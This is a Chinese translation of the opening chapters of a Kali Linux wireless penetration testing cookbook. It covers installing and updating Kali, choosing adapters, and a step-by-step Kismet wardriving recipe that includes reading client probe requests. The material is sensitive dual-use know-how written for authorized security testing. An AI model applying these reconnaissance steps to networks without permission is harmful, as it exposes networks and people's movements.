Kali-Linux-无线渗透测试秘籍(全)

Kali Linux 无线渗透测试秘籍(全)

原文:annas-archive.org/md5/D4F06D7644E988D14E142118F7AFB3EB

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

越来越多的组织正在转向无线网络,Wi-Fi 是一个受欢迎的选择。由于 Wi-Fi 网络的广泛使用,无线网络的安全性比以往任何时候都更加重要。本书提供了一些食谱,可以让您利用 Kali Linux 的高级道德黑客功能,最大限度地提高无线网络测试的成功率。

本书涵盖的内容

第一章,Kali Linux 和无线网络,是对 Kali Linux 世界的介绍,以及如何使用它进行无线渗透测试。

第二章,攻击访问控制,着重介绍了无线网络中可能存在的访问控制,以及如何颠覆这些控制。

第三章,攻击完整性控制,解释了对完整性产生影响的主要组件以及这些控制如何被颠覆。

第四章,攻击机密性,涉及无线网络中机密性的价值,以及如何破坏和改变机密性以拦截数据和收集机密信息。

第五章,攻击可用性,关注无线网络中可用性的重要性,以及如何影响可用性以影响任何无线设备或网络的运行。

第六章,认证攻击,集中讨论了无线网络中认证的工作原理,以及可以采取什么行动来攻击、降级或关闭认证组件。

第七章,蓝牙攻击,专注于蓝牙技术以及如何使用类似的概念对其进行攻击,以及一些新技术。

您需要为本书做好准备

要在本书中编写所有示例,您需要在系统上配置 Kali Linux。

本书的受众

本书适用于熟悉网络技术和基本安全概念,并有兴趣评估无线设备和网络的人员。

章节

在本书中,您会经常看到几个标题(准备工作,如何做…,它是如何工作的…,还有更多…,以及参见)。为了清晰地说明如何完成一个食谱,我们使用以下部分:

做好准备

本节告诉您食谱中可以期待什么,并描述如何设置食谱所需的任何软件或任何初步设置。

如何做…

本节包含按照食谱所需的步骤。

它是如何工作的…

本节通常包括对上一节发生的事情的详细解释。

还有更多…

本节包括有关食谱的其他信息,以使读者对食谱更加了解。

参见

本节提供了有关食谱的其他有用信息的链接。

约定

在本书中,您会发现许多文本样式,用于区分不同类型的信息。以下是这些样式的一些示例及其含义的解释。文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名都显示如下:“在数据库中为 JIRA 创建一个新用户,并使用以下命令授予用户对我们刚刚创建的jiradb数据库的访问权限”。

任何命令行输入或输出都以以下方式编写:

giskismet ­-x Kismet-DATE.netxml ­-q "select * 
    from  wireless" ­-o wardrive.kml

新术语重要词汇以粗体显示。您在屏幕上看到的单词,例如菜单或对话框中的单词,会以这样的方式出现在文本中:“从管理面板中选择系统信息”。

警告或重要说明会出现在这样的地方。

技巧会以这样的方式出现。

第一章:Kali Linux 和无线网络

在本章中,我们将涵盖以下内容:

  • 安装 Kali Linux

  • 在 PC 上安装 Kali Linux

  • 在虚拟环境中安装 Kali Linux

  • 更新 Kali Linux

  • 准备进行无线渗透测试

介绍

在当今世界,分享信息的最常见方式之一是通过无线通信。Wi-Fi 被用于许多地方,包括家庭、工作场所、机场、咖啡店、零售店,以及其他太多的地方无法一一列举。

由于这种通信方式的流行,可以断定这些网络中有很多有价值的信息。正是由于这些信息和这些网络固有的弱点,它们成为那些希望窃取访问权限、信息或两者兼而有之的人的常见目标。

在本书中,我们的目的是双重的,一方面是向你介绍 Kali Linux 中设计用于审计无线网络的工具,另一方面是展示一些可能的不同攻击。这种方法将不仅为你提供关于攻击及其工作原理的信息,还将为你提供有价值的见解,以减少这些攻击的可能性或有效性。

开始使用 Kali

Kali Linux 旨在为那些进行渗透测试和取证的人提供帮助;然而,在本书中,我们将更多地关注前者而不是后者。事实上,在渗透测试的主题上,我们将专注于使用仅用于测试和侵入无线网络或设备安全性的工具。

为了充分利用本书并了解如何用它来渗透无线网络,你应该具备一些基本的技能,以使事情变得更容易。预期如果你要开始这段旅程进入审计无线网络,你至少应该具备以下技能:

  • 对 TCP/IP 协议和 IPv4 的理解

  • 开放系统互联OSI)模型的了解

  • 对网络帧类型的理解(即 IEEE 802.3、802.11 等)

  • 了解无线电频率和技术是有帮助的,但是可选的

  • 有设置和使用无线设备和网络的经验

  • 有 Kali Linux 的实际操作经验是有帮助的,但我们将在学习过程中填补你的知识空白

  • 有使用虚拟化的经验是可选的,如果你打算用它来托管你的设置

  • 解决网络故障的经验

  • 熟练使用命令行

再次强调,这些最后几点中的缺失不会伤害你,但拥有它们将在本书中和你的渗透测试职业中大有帮助。

安装 Kali Linux

准备在计算机系统上安装 Kali Linux 与你可能遇到的其他操作系统类似,首先要确保你具备正确的系统要求。

准备工作

为了开始,让我们看看你需要具备的最低硬件要求,以便安装产品:

  • 至少需要 10GB 的硬盘空间来安装 Kali 操作系统

  • 对于 i386 和 amd64 系统,需要 512MB 的 RAM

  • CD/DVD 驱动器或 USB 启动支持

  • 有一个活跃的互联网连接是可取的

再次,请记住这里列出的内容代表最低限度,你会希望尽可能超过这些要求,以确保良好至卓越的性能。我个人建议至少拥有 4GB 的 RAM,如果可能的话(我个人分别在我使用的系统中拥有 8GB 或 16GB 的内存,但我过去使用 4GB 的内存也没问题)。

你还应该注意 Kali 的要求非常低,这将使你能够在几年前的计算机上运行产品得很好。

如何做...

一旦您确认或升级了系统所需的硬件,现在您需要选择如何安装 Kali。Kali 提供了几种不同的安装和运行产品的方式,每种方式都有其自身的好处,但也有其自身的缺点。然而,在本书中,我们将假设两种选择,即在 PC 上进行物理安装和在虚拟环境中进行安装。

虚拟化与物理

使用虚拟化而不是直接安装在系统上的问题是您应该考虑的一个问题。虚拟化是一个常见的选择,多年来被大大小小的组织所采用,许多组织在各种需求上都大量使用它。对许多人来说,转向虚拟化的推动力可能是许多因素,包括系统整合、节省电力、优化硬件使用、应用程序和系统的隔离、易于管理以及测试等等。

然而,对于渗透测试人员来说,使用虚拟化的方式可能会有所不同。

渗透测试人员的动机之一是能够在主机上以不同的配置运行测试环境。例如,在 Microsoft Windows 作为主机的情况下,在系统的虚拟化环境中运行一个或多个 Kali 环境作为客户端,可以实现整合,以及根据需要拥有专门的配置。

转向虚拟化的另一个原因是利用所谓的隔离沙盒。基本上,这意味着客户系统与主机系统分开,允许两者都可以访问网络和互联网,而不让它们可能相互干扰。在工具和技能可能会对主机或其他系统造成伤害或威胁的情况下,这将是至关重要的。

当然,没有免费的午餐,也不是每种情况下都是理想的,虚拟化也不例外。可能会出现问题的一个领域是硬件支持。在某些情况下,由于虚拟化技术的原因,物理设备可能无法按照您的需求进行功能。一个例子是无线网络和蓝牙;这些技术可能要求 Kali 直接在硬件上运行,而不是在虚拟环境中运行。虽然这种限制并不常见,但可能会令人沮丧。当然,如果我不提到有解决方法,并且可能使一些硬件选项在虚拟化环境中工作,否则不会工作,但这些解决方法可能非常复杂和专业化,超出了本工作的范围。

我必须指出,在一些虚拟化平台上,可以使用 USB 透传来启用外部 USB 适配器的使用。然而,这个选项在支持和功能上有所不同,取决于实际使用的软件平台。请咨询您的软件,了解如何在您的环境中完成此任务的详细信息。

预安装检查清单

与许多可用的操作系统一样,Kali 有一些独特和特定的要点需要考虑,以便使安装顺利进行。幸运的是,Kali 保持其安装要求相当简单,但肯定有一些因素可能会影响您的体验,并使 Kali 的运行方式不太理想。

为了确保我们获得最佳的安装和性能,这里是一个需要考虑的清单示例:

  • 您会将 Kali 安装到硬盘上,还是从可移动介质上运行?

  • 系统当前有多少内存?更多的内存可以带来更好的体验和更好的性能。在我自己的个人系统上,我使用 8GB 运行 Kali 非常流畅。如果你使用的是硬盘以外的设备运行 Kali,更多的内存可能会带来更好的性能,因为更多的 Kali 可以保存在内存中。

  • 你将运行什么应用程序?如果你将在 Kali 中安装其他应用程序,你可能需要调整你的配置以适应它们的包含。一些实用程序需要特殊的硬件(如无线设备)才能正常运行。如果你依赖这些功能或将来会使用它们,请确保你的所有硬件兼容或可以升级。

  • 你有什么类型的硬盘?我曾经在传统硬盘和固态硬盘上运行过 Kali,其中固态硬盘的运行效果更好,性能更令人满意。

  • Kali 对你喜爱的应用程序和设备的软件支持非常广泛,并且随着时间的推移而不断增加。Kali 已经包含了许多用途和情况的应用程序,但你可以根据需要添加。

选择安装选项

在我们评估了我们的系统是否适合安装 Kali 之后,现在我们需要考虑如何安装它。阅读本书的很多人可能在 Windows 环境中有丰富的经验,因此几乎总是直接将操作系统安装到硬盘上。然而,正如我们刚刚了解到的,Kali 提供了额外的安装选项。我们现在需要确定关于安装位置的路径。

让我们看看主要的选项以及每个选项的优缺点:

  • 安装到没有持久性的闪存驱动器:如果你希望使用 Kali 进行取证,这是一种合适的安装方法,因为它不会改变主机,因此不会影响系统上的潜在证据。如果你希望 Kali 帮助你进行网络或主机故障排除,这也是一种非常合适的安装方法。如果你想要一个便携式环境,可以在任何系统上运行而不必担心对主机或闪存驱动器本身的更改,这也是一个理想的选择。

  • 安装到带持久性的闪存驱动器:这种安装方法适用于你希望能够携带 Kali 进行故障排除、取证或拥有便携式渗透测试工具包的情况,但你希望能够保存文件并对系统进行更改而不会在每次关闭系统时丢失这些更改。

  • 安装到硬盘:这是非常受欢迎和有用的,因为它提供了最佳的性能,因为文件不需要在每次启动时加载到内存中。这种安装还提供了保存文件和进行更改而不会在重新启动时丢失的能力。如果你想要一个保留更改的系统,特别是如果你倾向于根据自己的需求调整系统,这是理想的选择。

  • 安装为虚拟化环境:这个选项就像安装到硬盘一样,只是操作系统被安装到允许对 Kali 客户进行更改的虚拟化环境中。

  • 从 CD 或 DVD 运行:我在这里包括这个选项,因为这是另一种类似于将 Kali 安装到非持久性闪存驱动器的选项。这种方法的操作速度通常比这里介绍的任何其他方法都要慢。

Kali Linux 在 VM Ware 上虚拟运行

如果将使用非常特定的硬件,例如高性能图形卡用于破解密码,建议将 Kali Linux 安装在台式电脑上。如果需要从客户现场携带操作系统到客户现场,或者希望测试无线设备,则建议使用笔记本电脑。笔记本电脑和台式电脑的操作系统安装方式相同。

就我个人而言,我在虚拟环境和专用笔记本上运行 Kali,Kali 是唯一安装的操作系统。我选择的系统是一台老式的联想笔记本,带有触摸屏、2.4 GHz CPU、8 GB RAM、250 GB SSD、蓝牙、Wi-Fi,除此之外没有太多其他功能。它绝对不是最先进的,但它有足够的性能和功能,我可以做我需要做的事情,还有多余的性能。

我的笔记本选择主要基于两个主要问题,即硬件支持和性能。通过选择一个稍微老一点的系统,我不必担心 Kali 是否支持硬件,也不必担心需要寻找解决方案来使系统工作,它就可以正常运行。至于性能,我指的是 Linux 传统上不需要最强大的硬件就能获得良好的性能。事实上,Linux 传统上以在旧硬件上运行而闻名,而其他操作系统可能会遇到问题。但是,我确保没有选择太老的硬件,以至于会受到我需要使用的工具的限制。我发现,在过去五年或更短时间内制造的硬件通常可以在大多数情况下正常运行 Kali。

硬盘选择

在选择用于 Kali 的系统时,不要在硬盘上偷工减料。通常最好选择至少有 150GB 空间的硬盘,但如果可能的话,应考虑更大的硬盘,因为您无疑会安装 Kali 中未包含的其他工具(更不用说您生成的数据也会占用空间)。

请记住,作为渗透测试人员,您不仅会被要求,而且需要保持您的发现机密,对于许多测试来说,这意味着擦除硬盘以确保安全。虽然可能清除已安装的操作系统,使其返回到基本或原始未更改的状态,但您仍可能希望擦除硬盘。建议是设置系统的方式,然后对其进行镜像,以便您可以有效地擦除硬盘,然后随时恢复原始镜像。请始终记住,失去对信息的控制或泄露信息不仅会让您的客户感到不满,还会让您面临诉讼、声誉损失、职业损失和不好的业力。基本上,在测试期间和之后,对您收集的数据采取适当的预防措施。

当我获得当前的 Kali 系统时,我做的第一件事之一就是用更大的 SSD 硬盘替换硬盘。我觉得这项投资出于许多原因都是明智的,我会在这里尽量解释。

首先,使用 SSD 固态硬盘通常会在一定程度上减少系统的电池消耗。电池消耗的减少会导致在无法插入墙壁时更长时间的移动使用。

其次,SSD 固态硬盘比传统硬盘快得多。SSD 固态硬盘的读写速度比传统硬盘快。能够更快地检索和操作数据对于渗透测试人员(或任何人)来说都是巨大的好处。

最后,SSD 固态硬盘比较老式的传统硬盘更耐用。计算机内部没有旋转的磁盘意味着移动和携带硬盘加系统不太可能导致硬盘故障。

这些是我在转向固态硬盘时考虑的事情,我觉得自己没有做出错误的选择。

网络卡和无线

在考虑 Kali 时,您需要考虑如何连接到网络以及您可能进行的测试类型。换句话说,我们在本节考虑的是您的网络接口选择,即有线或无线。无线是如今几乎任何类型的设备都常见的一种包含(或者在过去 10 年内制造的设备)。另一方面,随着许多笔记本电脑和便携式电脑完全放弃有线网络连接,有线网络连接在设备上变得不太常见。

在无线网络方面,您可能会发现许多无线网卡,无论是包含在您的设备中还是通过其他方式添加的,都可以在 Kali 上正常工作,或者可以通过从制造商处获取正确的驱动程序来进行修正。下图显示了一个常见的 USB 无线网络适配器的示例:

USB 无线适配器

在考虑购买外部 Wi-Fi 适配器时,我想指出的一件事是,您是否将在某个时候运行 Kali NetHunter。Kali NetHunter 在本书的其他地方有所讨论,但简而言之,它是 Kali 的基于 Android 的版本,适用于移动设备,如智能手机和平板电脑。如果您计划在测试中使用这个平台,您应该确保您在此处购买的 Wi-Fi 适配器与 Kali 的两种形式兼容,这样您就不必购买比您需要的更多的适配器。

您可能还会进行一些蓝牙测试,这种情况下,您可能需要为此目的获取额外的适配器。购买另一个适配器的原因是,蓝牙默认只能延伸到 30 英尺或 10 米的范围。如果您需要更大的范围来扫描更大的区域,您可以获取一个工业蓝牙适配器,它将扫描范围延伸到 1000 英尺或更远。

在 PC 上安装 Kali Linux

因此,考虑到我们的系统要求和考虑因素,再加上大约半小时的时间,我们现在准备安装 Kali。首先,您需要从www.kali.org/获取适用于您的硬件的 Kali Linux 副本。目前,Kali 支持 i386、amd64 以及 ARM(armel 和 armhf)平台。

准备工作

在安装之前,您需要下载适合您的硬件的版本,例如 64 位系统的 amd64。

因此,让我们开始安装过程,创建我们的 Kali 系统。

如何做...

  1. 开始安装过程需要从您用 Kali 准备的 DVD 或闪存驱动器引导系统,可以通过将 ISO 文件刻录到媒体或准备一个带有文件的 USB 驱动器来实现。

  2. 您可以通过从您选择的媒体引导来启动安装。实际的从可移动媒体(如 DVD 或 USB)引导的过程将取决于您的硬件,因此请向您的供应商查询如何在您的系统上执行此操作。

  3. 一旦从您选择的媒体引导,您将被提示选择要执行的安装类型。您可以选择图形模式或文本模式安装。为了更好地展示过程,我们将在这里使用图形模式。

  4. 选择安装模式后,选择您所在地区的语言、位置和键盘布局。

  5. 一旦选择了这些选项,安装脚本将把镜像复制到系统的硬盘,并对硬件进行简要扫描,寻找网络接口。

  6. 一旦提示,选择系统的主机名。

  7. 接下来,为系统的非根用户提供一个全名。

  8. 将根据您提供的全名创建一个默认用户 ID。如果名称不可接受,您可以选择一个新名称。

  9. 在提示时,选择一个时区。

  10. 接下来,安装程序将探测您的磁盘并为您提供两个选择。您可以选择使用整个驱动器专用于 Kali,或者使用逻辑卷管理器(LVM)来自定义安装。如果您对 LVM 不熟悉,建议选择使用整个驱动器。

  11. 根据您的需求,您可以选择将所有文件保存在单个分区中(默认设置),或者为一个或多个顶级目录设置单独的分区。

  12. 点击继续后,安装程序将继续进行安装。

  13. 配置网络镜像。Kali 使用一个中央仓库来分发应用程序。您需要根据需要输入任何适当的代理信息。

  14. 接下来,安装 GRUB。GRUB 是 Linux 的引导加载程序。如果没有,您需要安装 GRUB。

  15. 最后,点击继续重新启动到新的 Kali 安装中。

软件安装完成后,您可以使用安装过程中设置的凭据登录。

在虚拟环境中安装 Kali

在虚拟环境中安装 Kali 是另一个选择,也不比在硬盘上安装困难得多。在这个步骤中,我们将创建我们自己的带有 Kali 的虚拟机。在这个步骤结束时,我们的目标是拥有我们自己的完全配置、运行和定制的虚拟机,该虚拟机将运行 Kali 发行版。

需要记住的一件事是,在kali.org网站上可以下载可用于 Oracle 的 VirtualBox 和 VMware 的虚拟机。如果您不想从头开始创建自己的虚拟机,您可以简单地下载其中一个虚拟机映像,加载到您选择的虚拟化软件中,然后准备好使用。但是,请记住,您可能更愿意从头开始创建自己的虚拟机,以便您可以自定义和设置它的方式。

准备工作

如果您选择虚拟化 Kali 并将其用于无线网络测试,需要注意的是,您将需要配置虚拟环境以与主机系统上的外部适配器配合使用。在大多数情况下,您将需要使用外部 USB 无线适配器,并找出如何配置您的虚拟化软件以使用一种常称为 USB Passthrough 的技术。由于这是虚拟化软件包特有的,我们将不在这里涵盖这个过程。

如何操作...

这里记录的步骤是在 VMware Player 上执行的,但在其他虚拟化平台(如 VirtualBox)上也是相似的。但是,无论虚拟化平台如何,您都需要从 Kali 网站下载 32 位或 64 位 ISO 文件。

  1. 在您的软件中,您需要创建一个新的虚拟机。

  2. 在提示时选择您下载的 ISO 文件。

  3. 选择许多虚拟化软件包将自动检测的客户操作系统,但在某些情况下,您可能需要调整设置。

  4. 设置新虚拟机的名称和位置。

  5. 设置磁盘空间(20 GB 足够,但更多更好)。

  6. 查看硬件配置并启动虚拟机。

  7. 选择图形安装,按照正常选择语言、时区、主机名等。

  8. 在提示进行磁盘分区时,选择硬盘并选择全包。

  9. 点击完成分区并将更改写入磁盘,选择是以进行写入。

  10. 设置网络镜像和引导加载程序。

  11. 等待安装完成。

更新 Kali Linux

安装 Kali Linux 后,更新发行版并不是一个坏主意,以确保您拥有所有工具的最新版本,并应用可能已发布的任何补丁和其他修复。您不仅应该在安装系统后对系统进行更新,而且应该出于同样的原因定期进行更新。事实上,更新和补丁会相当经常地发布,因此最好养成定期检查这些内容的习惯,这样您就不会错过任何内容,也不会让自己处于不安全的状态。

重要的是要认识到,安装完成后应立即运行更新,以及定期运行更新。这是出于许多原因,主要是因为自安装镜像或 ISO 文件发布以来,可能已经发布了新工具或应用程序数据库的新更新。更不用说定期更新软件是保护自己免受安全问题和担忧的关键因素。

如何操作...

为了保持 Kali 系统的最新状态,这个过程非常简单。要快速检查更新,运行以下命令。

  1. 打开命令提示符。

  2. 输入以下命令:apt-get update

  3. 按下Enter

  4. 命令完成后,输入以下命令:apt-get dist-upgrade

  5. 按下Enter

这个过程将需要几分钟(或更长时间),具体取决于您的互联网连接和需要下载的更新数量。如果您保持系统最新并定期检查,您可以期望这个过程不会像第一次进行时那么长。

准备进行无线渗透测试

在安装了 Kali 之后,我们需要做一些准备工作,以便在无线世界中进行适当的渗透测试。我们必须做的第一件事之一是准备好我们的系统,获取有关我们的无线设备的信息,以及获取我们可能需要执行测试的适配器或天线。

让我们学习一些关于连接到系统的无线设备(或网络适配器)的基础知识。

如何操作...

首先,让我们看看如何识别无线适配器:

  1. 您手头应该有的第一条信息之一是您的网络连接的名称和类型。当您使用各种实用工具和脚本以及确保您拥有适当和最佳的适配器以获得最佳测试结果时,这些信息将在以后非常有帮助。

  2. 因此,让我们来看看如何定位和识别当前的网络适配器,以及这些信息在我们进行渗透测试时将来会有多大用处。

使用 ifconfig 来识别网络适配器。

在 Linux 中存在一个命令,可以轻松帮助我们识别无线连接及其状态,这个命令是ifconfig。这个命令可以通过命令行访问,显示系统上每个适配器的网络连接信息及其相关名称。

要运行命令,只需在 Kali 命令行中输入以下内容:

Ifconfig
  1. 按下Enter

  2. 您将从命令中获得的结果看起来有点像下面这样:

如前面的截图所示,我们有很多信息。所以,让我们来分解一下。

您应该注意的第一条信息是网络连接的名称,在这种情况下,它们被命名为eth0lo。您可以在这些位置上有诸如eth1或其他标签的名称,具体取决于网络类型。对于我们的目的,我们应该看到一个标记为wlan0wlan1或以wlan前缀开头的适配器,表示无线连接。对于我们的分析目的,我们将使用eth0适配器;lo 适配器是环回虚拟适配器,在这里对我们没有用处。

您还应该注意到这一行中的UPDOWN,这将告诉您适配器是在线还是离线。

第二个重要信息是以inet标签开头的行。这一行为我们提供了有关当前配置的 IPv4 地址和相关子网掩码等详细信息。直接在其下方的行提供了相同类型的信息,但是针对 IPv6。

下一行为我们提供了一个以ether标记的信息,即网络适配器的媒体访问控制MAC)地址,也称为适配器的物理地址

其余的行提供了有关网络配置和数据传输的详细信息。我们现在将忽略这些。

你应该始终熟悉至少每个适配器的前三行的内容(对于我们的目的,只需你的无线适配器即可)。当你使用各种工具和脚本攻击无线网络时,所有这些信息都会派上用场:

  1. 选择网络适配器。

  2. 你需要采取的下一步行动之一是选择一个无线网络适配器或你需要执行测试的物品。虽然你可以使用内置在笔记本或其他设备中的适配器,但在某些情况下它们确实缺乏一些功能。

  3. 一些可能不存在于内部适配器中,但可能需要的功能是:

  • 支持外部天线

  • 能够执行数据包注入(对于某些攻击是必需的)

  • 某些卡上不兼容的芯片组可能无法与某些特定实用程序一起工作

  • 对新无线标准的支持不足

  • 不支持不同频率

这是一个缺乏支持或功能的功能列表,可能会限制你准确和完整地执行测试的能力。

考虑到这一点,我将展示一个相当常见且工作良好的适配器的示例。以下图片是 TP-Link 的一个支持这里列出的许多功能的适配器的示例:

外部 USB 无线适配器

从上面的照片中可以看出,该适配器最显著的特点是其使用外部天线,旨在提供更好的性能。你甚至可以更换该适配器上的天线,以提供不同范围和性能。

那么,你如何知道哪个适配器适合你呢?在大多数情况下,你可以使用内部无线网络适配器,但并非总是如此。如果你打算对无线网络进行高级攻击,增加测试的范围和功率。

还有更多...

为了加深理解,你可以参考以下部分。

蓝牙适配器

如果你将使用蓝牙进行测试,你将需要获取一个适配器来有效地执行这种类型的测试。虽然大多数设备,如笔记本电脑、平板电脑、台式机和其他计算平台都包括蓝牙支持,但这些都倾向于是短距离的(平均 10 米或 30 英尺),并且不支持重要功能,比如数据包注入(我们稍后会了解)。

一些在渗透测试中可能非常有用的蓝牙适配器的例子是 Sena UD100 和 Ubertooth One。

第一个是 Sena UD100,是一个支持数据包注入和外部(可更换)天线的 USB 蓝牙适配器。默认情况下,该适配器支持最高达 1000 英尺的范围(意味着它可以通过天线升级捕捉到达或超过该限制的设备)。

UD100 工业蓝牙适配器

另一个被称为 Ubertooth One 的适配器更像是一个开发板,而不是一个标准的适配器,但它也可以用于我们的测试。基本上,该适配器不仅是一个网络卡,而且是一个开源(硬件和软件都是)系统,可以用来开发和实现你自己的功能。以下是 Ubertooth One 的图片。

Ubertooth One

那么,你如何决定是否需要蓝牙适配器呢?在大多数情况下,如果你打算进行长距离扫描、执行数据包注入,或者做除了仅仅检测蓝牙设备之外的任何事情,你可能需要获取一个适配器。

第二章:攻击访问控制

在本章中,我们将涵盖以下内容:

  • 处理战争驾驶

  • 映射接入点并提高准确性

  • 创建伪装接入点

  • 通过 MAC 欺骗规避 MAC 过滤

  • 识别淫秽客户端

介绍

在处理无线网络时,可能使用的攻击类型之一是访问控制攻击。属于这一类别的攻击旨在通过规避访问控制措施来渗透和破坏无线网络。这些类型的访问控制措施包括 MAC 过滤、错误配置、伪装接入点以及本章中将讨论的其他项目。

在我们深入研究访问控制之前,让我们更详细地了解一下,以更清楚地理解我们在本章中攻击的是什么。

访问控制过程涉及辨识和授权。任何针对访问控制的攻击都会试图窃取凭据,或者冒充用户或系统,以获取访问权限并执行未经授权或明显恶意的活动。正因为访问控制是攻击的常见目标,组织必须实施强大和适当的控制。

在无线网络上,访问控制可以采用多种不同形式,每种形式可以独立使用,也可以一起部署以形成更强大的解决方案。无线网络中使用的访问控制机制的一些示例包括:

  • MAC 过滤:这是一个过程,其中 MAC 地址被输入到接入点中,目的是允许或禁止持有这些 MAC 地址的设备访问。

  • 隐藏 SSID:这种技术是由网络管理员使用的,用于阻止网络标识符在公开环境中的广播。

  • 接入点位置:网络所有者可以选择将他们的接入点放置在建筑物内的特定地理区域,以限制广播的范围。这限制了恶意方或攻击方获取访问权限的信号量。

这只是一个潜在的措施清单,可以用于访问控制,以限制无线网络仅授权用户的可访问性。

一旦访问控制被破坏或颠覆,攻击者可以继续深入到目标网络中。攻击者可能通过利用无线网络或连接到无线网络的设备中存在的缺陷或错误配置,或者甚至是被忽视或低估的选项来规避访问控制。

访问控制攻击类型

访问控制攻击有多种形式,其中并非所有形式都能在本书的页面中涵盖。但是,我们可以涵盖这种类型攻击中许多更常见的形式。在我们开始探索每一种攻击之前,让我们首先列出本章将涵盖的攻击:

  • 战争驾驶

  • 伪装接入点

  • MAC 欺骗

  • 临时关联

  • AP 错误配置

  • 客户端错误关联

  • 未经授权的关联

  • 淫秽客户端

请记住,这只是可以用来针对无线网络上的访问控制的攻击类型中的一些,它们不应被视为唯一的访问控制攻击类型。

处理战争驾驶

用于针对访问控制的最早和最常用的攻击形式之一是一种称为战争驾驶的技术。简而言之,这种技术是使用无线设备以及专门用于检测或探测到达无线设备范围内的无线网络的软件。

战车如此受欢迎和有效的原因在于,许多计算机用户,无论是个人还是企业,多年来一直在部署802.11无线接入点,却很少考虑安全性。允许用户漫游的无线网络的部署已经超过了采取措施来保护他们的接入点和设备免受潜在攻击的重要性。

对于部署了配置错误或不安全的无线网络,我们有一类攻击者参与这种被称为战车的做法。参与这种活动的人会建造定制的设备,由硬件和软件组合而成,目的是在公共场所巡游,寻找无线接入点和设备。这些人可能只是对定位和针对特定网络感兴趣,或者在某些情况下,他们甚至可能会将这些信息分享到在线数据库或网站,让任何访问者都可以搜索这些接入点。

在实践中,个人使用这种攻击方法是通过在探索目标区域之前启用他们的无线设备和软件。当攻击者选择探索目标区域时,他们可以使用自行车、汽车、摩托车、步行,甚至使用新的方法,如无线无人机。无论使用哪种方法,只要攻击方对探索目标区域采取合理的系统方法,他们就会发现许多无线设备和/或网络。一旦他们找到这些无线网络,他们就可以浏览他们收集到的信息,并确定要专注和渗透的无线目标。

在 Kali Linux 中,我们有许多工具可以轻松促进战车的实践。在发行版中,每一个对战车有用的工具都有其自己的一套功能,这些功能可能存在于其他工具中,也可能不存在。在本书中,我们将专注于使用一种更受欢迎的工具来进行战车,这种工具被称为 Kismet。

战车不仅有一种形式,还有其他属于这个术语的子类型。具体来说:

  • 战飞:与战车相同,但使用小型飞机或超轻型飞机

  • 战气球:与战飞相同,但使用气球

  • 战步行:这涉及将检测设备放在背包或类似物品中,穿过建筑物和其他设施

准备工作

要开始操作,您需要准备以下物品:

  • 一个能够进入监视模式的无线网卡

  • Kali Linux 安装了 Kismet(默认 Kali 安装的一部分)

这里列出的物品是基本要求,如果需要,您可以轻松地使用更多(或不同的)组件。例如,如果您想要增强范围,您可以使用一个带有外部天线连接的 USB 无线网卡,以获得更好的接收效果。您也可以使用不同的无线应用程序来完成这项任务;但是,由于 Kismet 非常受欢迎,我们将在本文中使用它。

如何做到这一点...

Kismet 是一个有效的工具,用于定位和提取无线接入点和设备的有用信息。

在命令行上启动 Kismet 之前,需要注意一点:如果您使用外部 Wi-Fi 适配器,您应该在发出命令之前安装和配置它。默认情况下,Kismet 应该配置为使用物理系统上存在的无线适配器;但是,如果您选择使用外部适配器,您可能需要执行额外的配置,以便让您的适配器被 Kismet 识别。

在本教程中,我们将通过从命令提示符启动 Kismet 来启动 Kismet,但也可以通过应用程序菜单中的无线攻击部分启动它。在任何一种情况下,启动 Kismet 都将导致在此处记录的相同步骤:

  1. 打开终端窗口。

  2. 在命令提示符处,输入命令kismet

  3. 现在,您将从半图形环境中配置 Kismet。您将使用* Tab Enter *键进行导航。

  4. 如果您看不到灰色字母行,请使用* Tab *键突出显示。否则,保持突出显示。

  5. 按一次* Enter *键。

  6. 按一次* Enter *键以确认 Kismet 正在以 root 身份运行。

  7. 按一次* Enter *键自动启动 Kismet 服务器。

  8. 按一次* Enter *键以验证您要启动 Kismet 服务器。

  9. 按一次* Enter *键以验证您可以添加捕获源:

  10. 根据使用ifconfig发现的无线接口的名称进行输入。如果您记不得,可以打开另一个控制台窗口,并再次运行ifconfig命令以确定正确的接口(通常以wlan开头的名称)。以下屏幕截图显示了接口输入屏幕:

Kismet 界面配置

以下是要遵循的 Kismet 界面配置步骤

    1. 按一次* Tab *键。
  1. 在名称字段中输入无线接口的名称。

  2. 按一次* Tab *键。

  3. 再次按* Tab *键。

  4. 按一次* Enter *键。

  5. 如果您输入名称正确,Kismet 应该能够识别命名的无线接口。它还将生成不需要的虚拟接口的名称,例如wlan0monwlan0monmonwmaster0

  6. 当在 shell(Kismet 窗口)的右下角显示关闭控制台窗口时,按一次键盘的* Tab *键以突出显示关闭控制台窗口

  7. 按一次* Enter *键。

  8. 无线接入点的列表将显示在 shell(Kismet 窗口)的左上方。

  9. 单击下拉菜单中的查看

  10. 单击监视活动。

一旦您到达这一点,您会注意到设备将开始填充窗口。您将看到与每个设备相关的名称、信道、无线标准和其他信息。如果您等待足够长的时间,您会注意到会出现其他设备,并且列出的其他项目可能会有更多的信息填充,这些信息以前可能不存在。

在查看 Kismet 窗口中显示的网络列表时,可能会看到一些看起来有些不同的条目。例如,请查看以下屏幕截图:

主 Kismet 窗口显示检测到的无线客户端。

如果您查看窗口中的项目,您会注意到有一个探测网络的条目。您可以移动到列表中的此项目上,并使用* + - *来打开或关闭选择。您会注意到,当您展开项目时,您会看到会显示一系列项目。此列表记录了来自附近系统的探测请求。这些探测是由无线启用的系统发送的,该系统试图连接到它过去连接过的网络。仔细分析出现在探测请求下的网络名称可以揭示系统连接到的不同接入点的名称,并让您了解系统可能是如何或在哪里使用的。请记住,只要设备未与无线网络关联,许多操作系统都会发送这些探测请求。

还有其他软件包可以用来执行 Kismet 正在执行的相同操作;但是,Kismet 具有高度可定制和被动的优势。被动意味着软件不会向周围的无线接入点发送任何信息,而是监听与接入点相关的连接和流量,以揭示其存在并确定其名称。此外,该软件包还具有检测隐藏接入点的能力,而其他类似的软件包可能无法做到这一点。

映射接入点并提高准确性

战车驾驶的下一步是增强您收集的数据,包括有关接入点或设备本身的位置或地理数据。在现代,通过使用全球定位系统(GPS)技术来收集这些数据已经变得非常容易。现代 GPS 设备可以连接到笔记本电脑或笔记本电脑等系统,使用蓝牙、USB 甚至在某些情况下使用串行连接。如果您打算使用平板电脑或智能手机等移动设备进行战车驾驶,那么您的设备很可能已经包含了内置的 GPS,可以用来映射接入点。

